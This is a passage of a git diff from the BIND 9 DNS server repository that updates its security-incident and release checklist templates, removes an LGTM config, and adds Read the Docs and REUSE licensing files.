+  - [ ] [:link:][step_review_docs]       **(Support)** Review the documentation changes introduced by the merge request with the fix
+  - [ ] [:link:][step_backports]         **(SwEng)** Prepare backports of the merge request addressing the problem for all affected (and still maintained) branches of a given product
+  - [ ] [:link:][step_finish_advisory]   **(Support)** Finish preparing the Security Advisory
+  - [ ] [:link:][step_meta_issue]        **(QA)** Create (or update) the private issue containing links to fixes & reproducers for all CVEs fixed in a given release cycle
+  - [ ] [:link:][step_changes]           **(QA)** (BIND 9 only) Reserve a block of `CHANGES` placeholders once the complete set of vulnerabilities fixed in a given release cycle is determined
+  - [ ] [:link:][step_merge_fixes]       **(QA)** Merge the CVE fixes in CVE identifier order
+  - [ ] [:link:][step_patches]           **(QA)** Prepare a standalone patch for the last stable release of each affected (and still maintained) product branch
+  - [ ] [:link:][step_asn_releases]      **(QA)** Prepare ASN releases (as outlined in the Release Checklist)
+
+### At T-5
+
+  - [ ] [:link:][step_send_asn]          **(Support)** Send ASN to eligible customers
+  - [ ] [:link:][step_preannouncement]   **(Support)** (BIND 9 only) Send a pre-announcement email to the *bind-announce* mailing list to alert users that the upcoming release will include security fixes
+
+### At T-4
+
+  - [ ] [:link:][step_verify_asn]        **(Support)** Verify that all ASN-eligible customers have received the notification email
+
+### At T-1
+
+  - [ ] [:link:][step_check_customers]   **(Support)** Verify that any new or reinstated customers have received the notification email
+  - [ ] [:link:][step_packager_emails]   **(First IM)** Send notifications to OS packagers
+
+### On the Day of Public Disclosure
+
+  - [ ] [:link:][step_clearance]         **(IM)** Grant Support clearance to proceed with public release
+  - [ ] [:link:][step_publish]           **(Support)** Publish the releases (as outlined in the release checklist)
+  - [ ] [:link:][step_matrix]            **(Support)** (BIND 9 only) Add the new CVEs to the vulnerability matrix in the Knowledge Base
+  - [ ] [:link:][step_publish_advisory]  **(Support)** Bump Document Version for the Security Advisory and publish it in the Knowledge Base
+  - [ ] [:link:][step_notifications]     **(First IM)** Send notification emails to third parties
+  - [ ] [:link:][step_mitre]             **(First IM)** Advise MITRE about the disclosed CVEs
+  - [ ] [:link:][step_merge_advisory]    **(First IM)** Merge the Security Advisory merge request
+  - [ ] [:link:][step_embargo_end]       **(IM)** Inform original reporter (if external) that the security disclosure process is complete
+  - [ ] [:link:][step_customers]         **(Support)** Inform customers a fix has been released
+
+### After Public Disclosure
+
+  - [ ] [:link:][step_postmortem]        **(First IM)** Organize post-mortem meeting and make sure it happens
+  - [ ] [:link:][step_tickets]           **(Support)** Close support tickets
+  - [ ] [:link:][step_regression]        **(QA)** Merge a regression test reproducing the bug into all affected (and still maintained) branches
+
+[step_deputy]:            https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#pick-a-deputy-incident-manager
+[step_respond]:           https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#respond-to-the-bug-reporter
+[step_etherpad]:          https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-an-etherpad-for-post-mortem
+[step_public_mrs]:        https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#ensure-there-are-no-public-merge-requests-which-inadvertently-disclose-the-issue
+[step_assign_cve_id]:     https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#assign-a-cve-identifier
+[step_note_cve_info]:     https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#update-this-issue-with-the-assigned-cve-identifier-and-the-cvss-score
+[step_versions_affected]: https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#determine-the-range-of-product-versions-affected-including-the-subscription-edition
+[step_workarounds]:       https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#determine-whether-workarounds-for-the-problem-exist
+[step_coordinate]:        https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#if-necessary-coordinate-with-other-parties
+[step_earliest]:          https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-and-send-out-earliest-notifications
+[step_advisory_mr]:       https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-a-merge-request-for-the-security-advisory-and-include-all-readily-available-information-in-it
+[step_reproducer_mr]:     https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-private-merge-request-containing-a-system-test-reproducing-the-problem
+[step_notify_support]:    https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#notify-support-when-a-reproducer-is-ready
+[step_code_analysis]:     https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-detailed-explanation-of-the-code-flow-triggering-the-problem
+[step_fix_mr]:            https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-private-merge-request-with-the-fix
+[step_review_fix]:        https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#ensure-the-merge-request-with-the-fix-is-reviewed-and-has-no-outstanding-discussions
+[step_review_docs]:       https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#review-the-documentation-changes-introduced-by-the-merge-request-with-the-fix
+[step_backports]:         https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-backports-of-the-merge-request-addressing-the-problem-for-all-affected-and-still-maintained-branches-of-a-given-product
+[step_finish_advisory]:   https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#finish-preparing-the-security-advisory
+[step_meta_issue]:        https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#create-or-update-the-private-issue-containing-links-to-fixes-reproducers-for-all-cves-fixed-in-a-given-release-cycle
+[step_changes]:           https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-reserve-a-block-of-changes-placeholders-once-the-complete-set-of-vulnerabilities-fixed-in-a-given-release-cycle-is-determined
+[step_merge_fixes]:       https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-the-cve-fixes-in-cve-identifier-order
+[step_patches]:           https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-a-standalone-patch-for-the-last-stable-release-of-each-affected-and-still-maintained-product-branch
+[step_asn_releases]:      https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#prepare-asn-releases-as-outlined-in-the-release-checklist
+[step_send_asn]:          https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-asn-to-eligible-customers
+[step_preannouncement]:   https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-send-a-pre-announcement-email-to-the-bind-announce-mailing-list-to-alert-users-that-the-upcoming-release-will-include-security-fixes
+[step_verify_asn]:        https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#verify-that-all-asn-eligible-customers-have-received-the-notification-email
+[step_check_customers]:   https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#verify-that-any-new-or-reinstated-customers-have-received-the-notification-email
+[step_packager_emails]:   https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-notifications-to-os-packagers
+[step_clearance]:         https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#grant-support-clearance-to-proceed-with-public-release
+[step_publish]:           https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#publish-the-releases-as-outlined-in-the-release-checklist
+[step_matrix]:            https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bind-9-only-add-the-new-cves-to-the-vulnerability-matrix-in-the-knowledge-base
+[step_publish_advisory]:  https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#bump-document-version-for-the-security-advisory-and-publish-it-in-the-knowledge-base
+[step_notifications]:     https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#send-notification-emails-to-third-parties
+[step_mitre]:             https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#advise-mitre-about-the-disclosed-cves
+[step_merge_advisory]:    https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-the-security-advisory-merge-request
+[step_embargo_end]:       https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#inform-original-reporter-if-external-that-the-security-disclosure-process-is-complete
+[step_customers]:         https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#inform-customers-a-fix-has-been-released
+[step_postmortem]:        https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#organize-post-mortem-meeting-and-make-sure-it-happens
+[step_tickets]:           https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#close-support-tickets
+[step_regression]:        https://gitlab.isc.org/isc-private/isc-wiki/-/wikis/Security-Incident-Handling-Checklist-Explanations#merge-a-regression-test-reproducing-the-bug-into-all-affected-and-still-maintained-branches
diff --git a/.gitlab/issue_templates/Release.md b/.gitlab/issue_templates/Release.md
index 1e73f509a6..82d635e70d 100644
--- a/.gitlab/issue_templates/Release.md
+++ b/.gitlab/issue_templates/Release.md
@@ -30,39 +30,41 @@
 
 ### Before the Code Freeze
 
- - [ ] ***(QA)*** Inform Support and Marketing of impending release (and give estimated release dates).
- - [ ] ***(QA)*** Ensure there are no permanent test failures on any platform.
- - [ ] ***(QA)*** Check Perflab to ensure there has been no unexplained drop in performance for the versions being released.
+ - [ ] ***(QA)*** Rebase -S editions on top of current open-source versions: `git checkout bind-9.18-sub && git rebase origin/bind-9.18`
+ - [ ] ***(QA)*** [Inform](https://gitlab.isc.org/isc-private/bind-qa/-/blob/master/bind9/releng/inform_supp_marketing.py) Support and Marketing of impending release (and give estimated release dates).
+ - [ ] ***(QA)*** Ensure there are no permanent test failures on any platform. Check [public](https://gitlab.isc.org/isc-projects/bind9/-/pipelines?scope=all&source=schedule) and [private](https://gitlab.isc.org/isc-private/bind9/-/pipelines?scope=all&source=schedule) scheduled pipelines.
+ - [ ] ***(QA)*** Check [Perflab](https://perflab.isc.org/) to ensure there has been no unexplained drop in performance for the versions being released.
  - [ ] ***(QA)*** Check whether all issues assigned to the release milestone are resolved[^1].
- - [ ] ***(QA)*** Ensure that there are no outstanding merge requests in the private repository[^1] (Subscription Edition only).
- - [ ] ***(QA)*** Ensure all merge requests marked for backporting have been indeed backported.
- - [ ] ***(QA)*** Announce (on Mattermost) that the code freeze is in effect.
+ - [ ] ***(QA)*** Ensure that there are no outstanding [merge requests in the private repository](https://gitlab.isc.org/isc-private/bind9/-/merge_requests/)[^1] (Subscription Edition only).
+ - [ ] ***(QA)*** [Ensure](https://gitlab.isc.org/isc-private/bind-qa/-/blob/master/bind9/releng/check_backports.py) all merge requests marked for backporting have been indeed backported.
+ - [ ] ***(QA)*** [Announce](https://gitlab.isc.org/isc-private/bind-qa/-/blob/master/bind9/releng/inform_code_freeze.py) (on Mattermost) that the code freeze is in effect.
 
 ### Before the Tagging Deadline
 
- - [ ] ***(QA)*** Look for outstanding documentation issues (e.g. `CHANGES` mistakes) and address them if any are found.
- - [ ] ***(QA)*** Ensure release notes are correct, ask Support and Marketing to check them as well.
- - [ ] ***(QA)*** Update API files for libraries with new version information.
- - [ ] ***(QA)*** Change software version and library versions in `configure.ac` (new major release only).
- - [ ] ***(QA)*** Rebuild `configure` using Autoconf on `docs.isc.org`.
- - [ ] ***(QA)*** Update `CHANGES`.
- - [ ] ***(QA)*** Update `CHANGES.SE` (Subscription Edition only).
- - [ ] ***(QA)*** Update `README.md`.
- - [ ] ***(QA)*** Update `version`.
- - [ ] ***(QA)*** Build documentation on `docs.isc.org`.
- - [ ] ***(QA)*** Check that the formatting is correct for text, PDF, and HTML versions of release notes.
- - [ ] ***(QA)*** Check that the formatting of the generated man pages is correct.
- - [ ] ***(QA)*** Tag the releases in the private repository (`git tag -s -m "BIND 9.x.y" v9_x_y`).
+ - [ ] ***(QA)*** Inspect the current output of the `cross-version-config-tests` job to verify that no unexpected backward-incompatible change was introduced in the current release cycle.
+ - [ ] ***(QA)*** Ensure release notes are correct, ask Support and Marketing to check them as well. [Example](https://gitlab.isc.org/isc-private/bind9/-/merge_requests/510)
+ - [ ] ***(QA)*** Add a release marker to `CHANGES`. Examples: [9.18](https://gitlab.isc.org/isc-projects/bind9/-/commit/f14d8ad78c0506fd4247187f2177f8eceeb6b3b9), [9.16](https://gitlab.isc.org/isc-projects/bind9/-/commit/1bcdf21874f99a00da389d723e0ad07dfd70f9f1)
+ - [ ] ***(QA)*** Add a release marker to `CHANGES.SE` (Subscription Edition only). [Example](https://gitlab.isc.org/isc-private/bind9/-/commit/0f03d5737bcbdaa1bf713c6db1887b14938c3421)
+ - [ ] ***(QA)*** Update BIND 9 version in `configure.ac` ([9.18+](https://gitlab.isc.org/isc-projects/bind9/-/commit/3c85ab7f4c35e6d8acef1393606002a0a8730100)) or `version` ([9.16](https://gitlab.isc.org/isc-projects/bind9/-/merge_requests/7692/diffs?commit_id=1bcdf21874f99a00da389d723e0ad07dfd70f9f1)).
+ - [ ] ***(QA)*** Rebuild `configure` using Autoconf on `docs.isc.org` (9.16).
+ - [ ] ***(QA)*** Update GitLab settings for all maintained branches to disallow merging to them: [public](https://gitlab.isc.org/isc-projects/bind9/-/settings/repository), [private](https://gitlab.isc.org/isc-private/bind9/-/settings/repository)
+ - [ ] ***(QA)*** Tag the releases in the private repository (`git tag -s -m "BIND 9.x.y" v9.x.y`).
 
 ### Before the ASN Deadline (for ASN Releases) or the Public Release Date (for Regular Releases)
 
- - [ ] ***(QA)*** Verify GitLab CI results for the tags created and prepare a QA report for the releases to be published.
+ - [ ] ***(QA)*** Check that the formatting is correct for HTML and PDF versions of release notes.
+ - [ ] ***(QA)*** Check that the formatting of the generated man pages is correct.
+ - [ ] ***(QA)*** Verify GitLab CI results [for the tags](https://gitlab.isc.org/isc-private/bind9/-/pipelines?scope=tags) created and sign off on the releases to be published.
+ - [ ] ***(QA)*** Update GitLab settings for all maintained branches to allow merging to them again: [public](https://gitlab.isc.org/isc-projects/bind9/-/settings/repository), [private](https://gitlab.isc.org/isc-private/bind9/-/settings/repository)
+ - [ ] ***(QA)*** Prepare (using [`version_bump.py`](https://gitlab.isc.org/isc-private/bind-qa/-/blob/master/bind9/releng/version_bump.py)) and merge MRs resetting the release notes and updating the version string for each maintained branch.
  - [ ] ***(QA)*** Announce (on Mattermost) that the code freeze is over.
- - [ ] ***(QA)*** Request signatures for the tarballs, providing their location and checksums.
+ - [ ] ***(QA)*** Request signatures for the tarballs, providing their location and checksums. Ask [signers on Mattermost](https://mattermost.isc.org/isc/channels/bind-9-qa).
+ - [ ] ***(Signers)*** Ensure that the contents of tarballs and tags are identical.
  - [ ] ***(Signers)*** Validate tarball checksums, sign tarballs, and upload signatures.
- - [ ] ***(QA)*** Verify tarball signatures and check tarball checksums again.
+ - [ ] ***(QA)*** Verify tarball signatures and check tarball checksums again: Run `publish_bind.sh` on repo.isc.org to pre-publish.
  - [ ] ***(Support)*** Pre-publish ASN and/or Subscription Edition tarballs so that packages can be built.
- - [ ] ***(QA)*** Build and test ASN and/or Subscription Edition packages.
+ - [ ] ***(QA)*** Build and test ASN and/or Subscription Edition packages (in [cloudsmith branch in private repo](https://gitlab.isc.org/isc-private/rpms/bind/-/tree/cloudsmith)). [Example](https://gitlab.isc.org/isc-private/rpms/bind/-/commit/e2512f4cfaf991827a635e374e7e93b27a5f38ba)
+ - [ ] ***(QA)*** Prepare the `patches/` subdirectory for each security release (if applicable).
  - [ ] ***(QA)*** Notify Support that the releases have been prepared.
  - [ ] ***(Support)*** Send out ASNs (if applicable).
 
@@ -70,26 +72,29 @@
 
  - [ ] ***(Support)*** Wait for clearance from Security Officer to proceed with the public release (if applicable).
  - [ ] ***(Support)*** Place tarballs in public location on FTP site.
- - [ ] ***(Support)*** Publish links to downloads on ISC website.
- - [ ] ***(Support)*** Write release email to *bind-announce*.
- - [ ] ***(Support)*** Write email to *bind-users* (if a major release).
+ - [ ] ***(Support)*** Publish links to downloads on ISC website. [Example](https://gitlab.isc.org/website/theme-staging-site/-/commit/1ac7b30b73cb03228df4cd5651fa4e774ac35625)
+ - [ ] ***(Support)*** Add the new releases to the [vulnerability matrix in the Knowledge Base](https://kb.isc.org/docs/aa-00913).
+ - [ ] ***(Support)*** Use the [Printing Press project](https://gitlab.isc.org/isc-private/printing-press/-/wikis/home#adding-new-documents) to prepare a release announcement email and send it to the *bind-announce* mailing list.
+ - [ ] ***(Support)*** Write email to *bind-users* (if a major release). [Example](https://lists.isc.org/pipermail/bind-users/2022-January/105624.html)
  - [ ] ***(Support)*** Send eligible customers updated links to the Subscription Edition (update the -S edition delivery tickets, even if those links were provided earlier via an ASN ticket).
  - [ ] ***(Support)*** Update tickets in case of waiting support customers.
- - [ ] ***(QA)*** Build and test any outstanding private packages.
- - [ ] ***(QA)*** Build public packages (`*.deb`, RPMs).
+ - [ ] ***(QA)*** Build and test any outstanding private packages in [private repo](https://gitlab.isc.org/isc-private/rpms/bind/-/tree/cloudsmith). [Example](https://gitlab.isc.org/isc-private/rpms/bind/-/commit/2007d566db81dd9dfd79e571e2f600a3bc284da4)
+ - [ ] ***(QA)*** Build [public RPMs](https://gitlab.isc.org/isc-packages/rpms/bind). [Example commit](https://gitlab.isc.org/isc-packages/rpms/bind/-/commit/3b5e851ea7c4e3570371a4878b5461f02a44f8cc) which triggers [Copr builds](https://copr.fedorainfracloud.org/coprs/isc/) automatically
+ - [ ] ***(SwEng)*** Build Debian/Ubuntu packages.
+ - [ ] ***(SwEng)*** Update Docker files [here](https://gitlab.isc.org/isc-projects/bind9-docker/-/branches) and make sure push is synchronized to [GitHub](https://github.com/isc-projects/bind9-docker). [Docker Hub](https://hub.docker.com/r/internetsystemsconsortium/bind9) should pick it up automatically. [Example](https://gitlab.isc.org/isc-projects/bind9-docker/-/commit/cada7e10e9af951595c98bfffc4bd42512faac05)
  - [ ] ***(QA)*** Inform Marketing of the release.
- - [ ] ***(QA)*** Update the internal [BIND release dates wiki page](https://wiki.isc.org/bin/view/Main/BindReleaseDates) when public announcement has been made.
- - [ ] ***(Marketing)*** Post short note to Twitter.
+ - [ ] ***(Marketing)*** Post a short note to Mastodon.
  - [ ] ***(Marketing)*** Update [Wikipedia entry for BIND](https://en.wikipedia.org/wiki/BIND).
  - [ ] ***(Marketing)*** Write blog article (if a major release).
- - [ ] ***(QA)*** Ensure all new tags are annotated and signed.
+ - [ ] ***(QA)*** Ensure all new tags are annotated and signed. `git show --show-signature v9.19.12`
  - [ ] ***(QA)*** Push tags for the published releases to the public repository.
- - [ ] ***(QA)*** Merge the automatically prepared `prep 9.x.y` commit which updates `version` and documentation on the release branch into the relevant maintenance branch (`v9_x`).
- - [ ] ***(QA)*** For each maintained branch, update the `BIND_BASELINE_VERSION` variable for the `abi-check` job in `.gitlab-ci.yml` to the latest published BIND version tag for a given branch.
- - [ ] ***(QA)*** Prepare empty release notes for the next set of releases.
+ - [ ] ***(QA)*** Using [`merge_tag.py`](https://gitlab.isc.org/isc-private/bind-qa/-/blob/master/bind9/releng/merge_tag.py), merge published release tags back into the their relevant development/maintenance branches.
+ - [ ] ***(QA)*** Ensure `allow_failure: true` is removed from the `cross-version-config-tests` job if it was set during the current release cycle.
  - [ ] ***(QA)*** Sanitize confidential issues which are assigned to the current release milestone and do not describe a security vulnerability, then make them public.
- - [ ] ***(QA)*** Sanitize confidential issues which are assigned to older release milestones and describe security vulnerabilities, then make them public if appropriate[^2].
- - [ ] ***(QA)*** Update QA tools used in GitLab CI (e.g. Flake8, PyLint) by modifying the relevant `Dockerfile`.
+ - [ ] ***(QA)*** Sanitize [confidential issues](https://gitlab.isc.org/isc-projects/bind9/-/issues/?sort=milestone_due_desc&state=opened&confidential=yes) which are assigned to older release milestones and describe security vulnerabilities, then make them public if appropriate[^2].
+ - [ ] ***(QA)*** Update QA tools used in GitLab CI (e.g. Black, PyLint, Sphinx) by modifying the relevant [`Dockerfile`](https://gitlab.isc.org/isc-projects/images/-/merge_requests/228/diffs).
+ - [ ] ***(QA)*** Run a pipeline to rebuild all [images](https://gitlab.isc.org/isc-projects/images) used in GitLab CI.
+ - [ ] ***(QA)*** Update [`metadata.json`](https://gitlab.isc.org/isc-private/bind-qa/-/blob/master/bind9/releng/metadata.json) with the upcoming release information.
 
 [^1]: If not, use the time remaining until the tagging deadline to ensure all outstanding issues are either resolved or moved to a different milestone.
 [^2]: As a rule of thumb, security vulnerabilities which have reproducers merged to the public repository are considered okay for full disclosure.
diff --git a/.lgtm.yml b/.lgtm.yml
deleted file mode 100644
index 87739a0fe6..0000000000
--- a/.lgtm.yml
+++ /dev/null
@@ -1,35 +0,0 @@
-extraction:
-  cpp:
-    prepare:
-      packages:
-      - "libxml2-dev"
-      - "libjson-c-dev"
-      - "libssl-dev"
-      - "zlib1g-dev"
-      - "libcmocka-dev"
-      - "pkg-config"
-      - "libcap2-dev"
-      - "libedit-dev"
-      - "libidn2-dev"
-      - "libmaxminddb-dev"
-      - "libuv1-dev"
-      - "libnghttp2-dev"
-    configure:
-      command:
-      - "autoreconf -fi"
-      - "CFLAGS=\"-Og -g\" ./configure --enable-developer"
-path_classifiers:
-  test:
-    - "lib/*/tests/"
-    - "bin/tests/"
-  docs:
-    - "**/*.xml"
-    - "**/*.docbook"
-    - "**/*.html"
-    - "**/*.1"
-    - "**/*.5"
-    - "**/*.8"
-queries:
-  - exclude: fuzz/
-  - exclude: "bin/tests/system/*/ans*/*.py"
-  - exclude: cpp/use-of-goto
diff --git a/.pylintrc b/.pylintrc
index 178a06a801..07d503514d 100644
--- a/.pylintrc
+++ b/.pylintrc
@@ -1,8 +1,10 @@
 [MASTER]
 disable=
+    C0103, # invalid-name
     C0114, # missing-module-docstring
     C0115, # missing-class-docstring
     C0116, # missing-function-docstring
+    C0209, # consider-using-f-string
+    C0415, # import-outside-toplevel
     R0801, # duplicate-code
-    C0103, # invalid-name
-    C0415,# import-outside-toplevel
+    R0903, # too-few-public-methods
diff --git a/.readthedocs.yaml b/.readthedocs.yaml
new file mode 100644
index 0000000000..5ea7be0600
--- /dev/null
+++ b/.readthedocs.yaml
@@ -0,0 +1,20 @@
+# See https://docs.readthedocs.io/en/stable/config-file/v2.html for details
+
+version: 2
+
+build:
+  os: ubuntu-22.04
+  tools:
+    python: "3.11"
+
+# Build documentation in doc/arm/ with Sphinx
+sphinx:
+  configuration: doc/arm/conf.py
+
+# Build all formats
+formats: all
+
+# Explicitly set the version of Python and its requirements
+python:
+   install:
+   - requirements: doc/arm/requirements.txt
diff --git a/.reuse/dep5 b/.reuse/dep5
new file mode 100644
index 0000000000..ded1db308a
--- /dev/null
+++ b/.reuse/dep5
@@ -0,0 +1,199 @@
+Format: https://www.debian.org/doc/packaging-manuals/copyright-format/1.0/
+Upstream-Name: BIND 9
+Upstream-Contact: Internet Systems Consortium, Inc. ("ISC") <info@isc.org>
+Source: https://gitlab.isc.org/isc-projects/bind9/
+
+#
+# Build system, data files from tests, and misc cruft
+#
+Files: **/*.after*
+       **/*.bad
+       **/*.batch
+       **/*.before*
+       **/*.ccache
+       **/*.good
+       **/*.key
+       **/*.pem
+       **/*.private
+       **/*.raw
+       **/*.saved
+       **/*.zonelist
+       **/*dig.out*
+       **/Makefile
+       **/Makefile.*
+       **/testdata/*
+       .github/*
+       .gitlab/*
+       AUTHORS
+       CHANGES
+       COPYRIGHT
+       Makefile
+       Makefile.*
+       bin/tests/system/checkzone/zones/bad-caa-rr.db
+       bin/tests/system/checkzone/zones/bad1.db
+       bin/tests/system/checkzone/zones/crashzone.db
+       bin/tests/system/dnstap/large-answer.fstrm
+       bin/tests/system/doth/CA/CA.cfg
+       bin/tests/system/doth/CA/README
+       bin/tests/system/doth/CA/index.txt
+       bin/tests/system/doth/CA/index.txt.attr
+       bin/tests/system/doth/CA/serial
+       bin/tests/system/notify/ns4/named.port.in
+       bin/tests/system/formerr/nametoolong
+       bin/tests/system/formerr/noquestions
+       bin/tests/system/formerr/twoquestions
+       bin/tests/system/forward/CA/CA.cfg
+       bin/tests/system/forward/CA/README
+       bin/tests/system/forward/CA/index.txt
+       bin/tests/system/forward/CA/index.txt.attr
+       bin/tests/system/forward/CA/serial
+       bin/tests/system/journal/ns1/managed-keys.bind.in
+       bin/tests/system/journal/ns1/managed-keys.bind.jnl.in
+       bin/tests/system/journal/ns2/managed-keys.bind.in
+       bin/tests/system/journal/ns2/managed-keys.bind.jnl.in
+       bin/tests/system/keepalive/expected
+       bin/tests/system/legacy/ns6/edns512.db.signed
+       bin/tests/system/legacy/ns7/edns512-notcp.db.signed
+       bin/tests/system/nsupdate/CA/CA.cfg
+       bin/tests/system/nsupdate/CA/README
+       bin/tests/system/nsupdate/CA/index.txt
+       bin/tests/system/nsupdate/CA/index.txt.attr
+       bin/tests/system/nsupdate/CA/serial
+       bin/tests/system/nsupdate/commandlist
+       bin/tests/system/nsupdate/verylarge.in
+       bin/tests/system/org.isc.bind.system.plist
+       bin/tests/system/pipelined/input
+       bin/tests/system/pipelined/inputb
+       bin/tests/system/pipelined/ref
+       bin/tests/system/pipelined/refb
+       bin/tests/system/rsabigexponent/ns2/dsset-example.in
+       bin/tests/system/run.gdb
+       bin/tests/system/runtime/ctrl-chars
+       bin/tests/system/runtime/long-cmd-line
+       bin/tests/system/statschannel/traffic.expect.1
+       bin/tests/system/statschannel/traffic.expect.2
+       bin/tests/system/statschannel/traffic.expect.4
+       bin/tests/system/statschannel/traffic.expect.5
+       bin/tests/system/statschannel/traffic.expect.6
+       bin/tests/system/tcp/1996-alloc_dnsbuf-crash-test.pkt
+       bin/tests/system/tsig/badlocation
+       bin/tests/system/tsig/badtime
+       bin/tests/system/unknown/large.out
+       bin/tests/system/xfer/ans5/badkeydata
+       bin/tests/system/xfer/ans5/badmessageid
+       bin/tests/system/xfer/ans5/goodaxfr
+       bin/tests/system/xfer/ans5/partial
+       bin/tests/system/xfer/ans5/soamismatch
+       bin/tests/system/xfer/ans5/unknownkey
+       bin/tests/system/xfer/ans5/unsigned
+       bin/tests/system/xfer/ans5/wrongkey
+       bin/tests/system/xfer/ans5/wrongname
+       bin/tests/system/xfer/knowngood.mapped
+       cocci/*.cocci
+       cocci/*.disabled
+       cocci/*.spatch
+       doc/arm/*.dia
+       doc/arm/*.png
+       doc/arm/isc-logo.pdf
+       doc/arm/requirements.txt
+       doc/man/*.1in
+       doc/man/*.5in
+       doc/man/*.8in
+       fuzz/*.in/*
+Copyright: Internet Systems Consortium, Inc. ("ISC")
+License: MPL-2.0
+
+#
+# DNSSEC Guide images
+#
+Files: doc/dnssec-guide/img/*.png
+Copyright: Internet Systems Consortium, Inc. ("ISC")
+License: MPL-2.0
+
+#
+# Libtool Files
+#
+Files: m4/libtool.m4
+       m4/ltoptions.m4
+       m4/ltsugar.m4
+       m4/ltversion.m4
+       m4/ltversion.m4
+       m4/lt~obsolete.m4
+Copyright: Free Software Foundation, Inc.
+License:
+ This file is free software; the Free Software Foundation gives unlimited
+ permission to copy and/or distribute it, with or without modifications, as long
+ as this notice is preserved.
+
+#
+# DLZ Modules
+#
+Files: contrib/dlz/modules/*/testing/*
+Copyright: Internet Systems Consortium, Inc. ("ISC")
+	   Stichting NLnet, Netherlands
+License: ISC and MPL-2.0
+
+#
+# Stuff that's basically uncopyrightable (configuration, generated files),
+# use CC0-1.0 for clarity that we don't care
+#
+Files: **/.clang-format
+       **/.clang-format.headers
+       **/.dir-locals.el
+       **/.gitattributes
+       **/.gitignore
+       **/named*.args
+       **/named.dropedns
+       **/named.ednsformerr
+       **/named.ednsnotimp
+       **/named.ednsrefused
+       **/named.maxudp1460
+       **/named.maxudp512
+       **/named.noaa
+       **/named.noedns
+       **/named.nosoa
+       **/named.notcp
+       **/startme
+       .clang-format
+       .clang-format.headers
+       .dir-locals.el
+       .git-blame-ignore-revs
+       .gitattributes
+       .gitignore
+       .gitlab-ci.yml
+       .lgtm.yml
+       .pylintrc
+       .readthedocs.yaml
+       .tsan-suppress
+       .uncrustify.cfg
+       doc/misc/*.zoneopt
+       doc/misc/options
+       doc/misc/rndc.grammar
+       sonar-project.properties
+Copyright: Internet Systems Consortium, Inc. ("ISC")
+License: CC0-1.0
+
+#
+# geoip2 test files (mmdb is generated from json)
+#
+Files: bin/tests/system/geoip2/data/*.json
+       bin/tests/system/geoip2/data/*.mmdb
+Copyright: Internet Systems Consortium, Inc. ("ISC")
+License: CC0-1.0
+
+#
+# files that may be left over from other branches.
+#
+# in a newly cloned branch or after running "git clean", these
+# files don't exist, but they can be left lying around after
+# checking out an older branch. we explicitly ignore them so they
+# won't clutter up the output when running "reuse lint" by hand
+# in a working source tree.
+#
+Files: **/platform.h
+       bin/python/*
